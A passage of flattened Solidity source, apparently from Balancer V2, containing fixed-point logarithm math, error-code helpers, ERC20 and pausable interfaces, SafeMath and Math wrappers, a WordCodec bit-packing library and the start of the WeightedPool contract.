LN_36_UPPER_BOUND) { return _ln_36(a) / ONE_18; } else { return _ln(a); } } /** * @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function _ln(int256 a) private pure returns (int256) { if (a < ONE_18) { // Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less // than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call. // Fixed point division requires multiplying by ONE_18. return (-_ln((ONE_18 * ONE_18) / a)); } // First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which // we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is, // ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot // be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a. // At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this // decomposition, which will be lower than the smallest a_n. // ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1. // We mutate a by subtracting a_n, making it the remainder of the decomposition. // For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point // numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by // ONE_18 to convert them to fixed point. // For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide // by it and compute the accumulated sum. int256 sum = 0; if (a >= a0 * ONE_18) { a /= a0; // Integer, not fixed point division sum += x0; } if (a >= a1 * ONE_18) { a /= a1; // Integer, not fixed point division sum += x1; } // All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format. sum *= 100; a *= 100; // Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them. if (a >= a2) { a = (a * ONE_20) / a2; sum += x2; } if (a >= a3) { a = (a * ONE_20) / a3; sum += x3; } if (a >= a4) { a = (a * ONE_20) / a4; sum += x4; } if (a >= a5) { a = (a * ONE_20) / a5; sum += x5; } if (a >= a6) { a = (a * ONE_20) / a6; sum += x6; } if (a >= a7) { a = (a * ONE_20) / a7; sum += x7; } if (a >= a8) { a = (a * ONE_20) / a8; sum += x8; } if (a >= a9) { a = (a * ONE_20) / a9; sum += x9; } if (a >= a10) { a = (a * ONE_20) / a10; sum += x10; } if (a >= a11) { a = (a * ONE_20) / a11; sum += x11; } // a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series // that converges rapidly for values of `a` close to one - the same one used in ln_36. // Let z = (a - 1) / (a + 1). // ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires // division by ONE_20. int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20); int256 z_squared = (z * z) / ONE_20; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_20; seriesSum += num / 3; num = (num * z_squared) / ONE_20; seriesSum += num / 5; num = (num * z_squared) / ONE_20; seriesSum += num / 7; num = (num * z_squared) / ONE_20; seriesSum += num / 9; num = (num * z_squared) / ONE_20; seriesSum += num / 11; // 6 Taylor terms are sufficient for 36 decimal precision. // Finally, we multiply by 2 (non fixed point) to compute ln(remainder) seriesSum *= 2; // We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both // with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal // value. return (sum + seriesSum) / 100; } /** * @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument, * for x close to one. * * Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND. */ function _ln_36(int256 x) private pure returns (int256) { // Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits // worthwhile. // First, we transform x to a 36 digit fixed point value. x *= ONE_18; // We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1). // ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires // division by ONE_36. int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36); int256 z_squared = (z * z) / ONE_36; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_36; seriesSum += num / 3; num = (num * z_squared) / ONE_36; seriesSum += num / 5; num = (num * z_squared) / ONE_36; seriesSum += num / 7; num = (num * z_squared) / ONE_36; seriesSum += num / 9; num = (num * z_squared) / ONE_36; seriesSum += num / 11; num = (num * z_squared) / ONE_36; seriesSum += num / 13; num = (num * z_squared) / ONE_36; seriesSum += num / 15; // 8 Taylor terms are sufficient for 36 decimal precision. // All that remains is multiplying by 2 (non fixed point). return seriesSum * 2; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // solhint-disable /** * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAL#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAL#" part is a known constant // (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Math uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; // Input uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; // Shared pools uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; // Pools uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312; uint256 internal constant ORACLE_NOT_INITIALIZED = 313; uint256 internal constant ORACLE_QUERY_TOO_OLD = 314; uint256 internal constant ORACLE_INVALID_INDEX = 315; uint256 internal constant ORACLE_BAD_SECS = 316; // Lib uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; // Vault uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; // Fees uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero * address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like * types. * * This concept is unrelated to a Pool's Asset Managers. */ interface IAsset { // solhint-disable-previous-line no-empty-blocks } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the TemporarilyPausable helper. */ interface ITemporarilyPausable { /** * @dev Emitted every time the pause state changes by `_setPaused`. */ event PausedStateChanged(bool paused); /** * @dev Returns the current paused state. */ function getPausedState() external view returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, Errors.SUB_OVERFLOW); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) { _require(b <= a, errorCode); uint256 c = a - b; return c; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Adapted from OpenZeppelin's SafeMath library */ library Math { /** * @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the addition of two signed integers, reverting on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; _require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; _require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW); return c; } /** * @dev Returns the largest of two numbers of 256 bits. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers of 256 bits. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; _require(a == 0 || c / a == b, Errors.MUL_OVERFLOW); return c; } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); return a / b; } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { return 1 + (a - 1) / b; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Library for encoding and decoding values stored inside a 256 bit word. Typically used to pack multiple values in * a single storage slot, saving gas by performing less storage accesses. * * Each value is defined by its size and the least significant bit in the word, also known as offset. For example, two * 128 bit values may be encoded in a word by assigning one an offset of 0, and the other an offset of 128. */ library WordCodec { // Masks are values with the least significant N bits set. They can be used to extract an encoded value from a word, // or to insert a new one replacing the old. uint256 private constant _MASK_1 = 2**(1) - 1; uint256 private constant _MASK_10 = 2**(10) - 1; uint256 private constant _MASK_22 = 2**(22) - 1; uint256 private constant _MASK_31 = 2**(31) - 1; uint256 private constant _MASK_53 = 2**(53) - 1; uint256 private constant _MASK_64 = 2**(64) - 1; // Largest positive values that can be represented as N bits signed integers. int256 private constant _MAX_INT_22 = 2**(21) - 1; int256 private constant _MAX_INT_53 = 2**(52) - 1; // In-place insertion /** * @dev Inserts a boolean value shifted by an offset into a 256 bit word, replacing the old value. Returns the new * word. */ function insertBoolean( bytes32 word, bool value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_1 << offset)); return clearedWord | bytes32(uint256(value ? 1 : 0) << offset); } // Unsigned /** * @dev Inserts a 10 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 10 bits. */ function insertUint10( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_10 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 31 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 31 bits. */ function insertUint31( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_31 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 64 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 64 bits. */ function insertUint64( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_64 << offset)); return clearedWord | bytes32(value << offset); } // Signed /** * @dev Inserts a 22 bits signed integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 22 bits. */ function insertInt22( bytes32 word, int256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_22 << offset)); // Integer values need masking to remove the upper bits of negative values. return clearedWord | bytes32((uint256(value) & _MASK_22) << offset); } // Encoding // Unsigned /** * @dev Encodes a 31 bit unsigned integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeUint31(uint256 value, uint256 offset) internal pure returns (bytes32) { return bytes32(value << offset); } // Signed /** * @dev Encodes a 22 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt22(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_22) << offset); } /** * @dev Encodes a 53 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt53(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_53) << offset); } // Decoding /** * @dev Decodes and returns a boolean shifted by an offset from a 256 bit word. */ function decodeBool(bytes32 word, uint256 offset) internal pure returns (bool) { return (uint256(word >> offset) & _MASK_1) == 1; } // Unsigned /** * @dev Decodes and returns a 10 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint10(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_10; } /** * @dev Decodes and returns a 31 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint31(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_31; } /** * @dev Decodes and returns a 64 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint64(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_64; } // Signed /** * @dev Decodes and returns a 22 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt22(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_22); // In case the decoded value is greater than the max positive integer that can be represented with 22 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_22 ? (value | int256(~_MASK_22)) : value; } /** * @dev Decodes and returns a 53 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt53(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_53); // In case the decoded value is greater than the max positive integer that can be represented with 53 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_53 ? (value | int256(~_MASK_53)) : value; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../lib/math/FixedPoint.sol"; import "../../lib/helpers/InputHelpers.sol"; import "../BaseMinimalSwapInfoPool.sol"; import "./WeightedMath.sol"; import "./WeightedPoolUserDataHelpers.sol"; // This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage // reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus total // count, resulting in a large number of state variables. contract WeightedPool is BaseMinimalSwapInfoPool, WeightedMath { using FixedPoint for uint256; using WeightedPoolUserDataHelpers for bytes; // The protocol fees will always be charged using the token associated with the max weight in the pool. // Since these Pools will register tokens only once, we can assume this index will be constant. uint256 private immutable _maxWeightTokenIndex; uint256 private immutable _normalizedWeight0; uint256 private immutable _normalizedWeight1; uint256 private immutable _normalizedWeight2; uint256 private immutable _normalizedWeight3; uint256 private immutable _normalizedWeight4; uint256 private immutable _normalizedWeight5; uint256 private immutable _normalizedWeight6; uint256 private immutable _normalizedWeight7; uint256 private _lastInvariant; enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT } enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT } constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory normalizedWeights, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BaseMinimalSwapInfoPool( vault, name, symbol, tokens, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { uint256 numTokens = tokens.length; InputHelpers.ensureInputLengthMatch(numTokens, normalizedWeights.length); // Ensure each normalized weight is above them minimum and find the token index of the maximum weight uint256 normalizedSum = 0; uint256 maxWeightTokenIndex = 0; uint256 maxNormalizedWeight = 0; for (uint8 i = 0; i < numTokens; i++) { uint256 normalizedWeight = normalizedWeights[i]; _require(normalizedWeight >= _MIN_WEIGHT, Errors.MIN_WEIGHT); normalizedSum = normalizedSum.add(normalizedWeight); if (normalizedWeight > maxNormalizedWeight) { maxWeightTokenIndex = i; maxNormalizedWeight = normalizedWeight; } } // Ensure that the normalized weights sum to ONE _require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT); _maxWeightTokenIndex = maxWeightTokenIndex; _normalizedWeight0 = normalizedWeights.length > 0 ? normalizedWeights[0] : 0; _normalizedWeight1 = normalizedWeights.length > 1 ? normalizedWeights[1] : 0; _normalizedWeight2 = normalizedWeights.length > 2 ? normalizedWeights[2] : 0; _normalizedWeight3 = normalizedWeights.length > 3 ? normalizedWeights[3] : 0; _normalizedWeight4 = normalizedWeights.length > 4 ? normalizedWeights[4] : 0; _normalizedWeight5 = normalizedWeights.length > 5 ? normalizedWeights[5] : 0; _normalizedWeight6 = normalizedWeights.length > 6 ? normalizedWeights[6] : 0; _normalizedWeight7 = normalizedWeights.length > 7 ? normalizedWeights[7] : 0; } function _normalizedWeight(IERC20 token) internal view virtual returns (uint256) { // prettier-ignore if (token == _token0) { return _normalizedWeight0; } else if (token == _token1) { return _normalizedWeight1; } else if (token == _token2) { return _normalizedWeight2; } else if (token == _token3) { return _normalizedWeight3; } else if (token == _token4) { return _normalizedWeight4; } else if (token == _token5) { return _normalizedWeight5; } else if (token == _token6) { return _normalizedWeight6; } else if (token == _token7) { return _normalizedWeight7; } else { _revert(Errors.INVALID_TOKEN); } } function _normalizedWeights() internal view virtual returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory normalizedWeights = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { normalizedWeights[0] = _normalizedWeight0; } else { return normalizedWeights; } if (totalTokens > 1) { normalizedWeights[1] = _normalizedWeight1; } else { return normalizedWeights; } if (totalTokens > 2) { normalizedWeights[2] = _normalizedWeight2; } else { 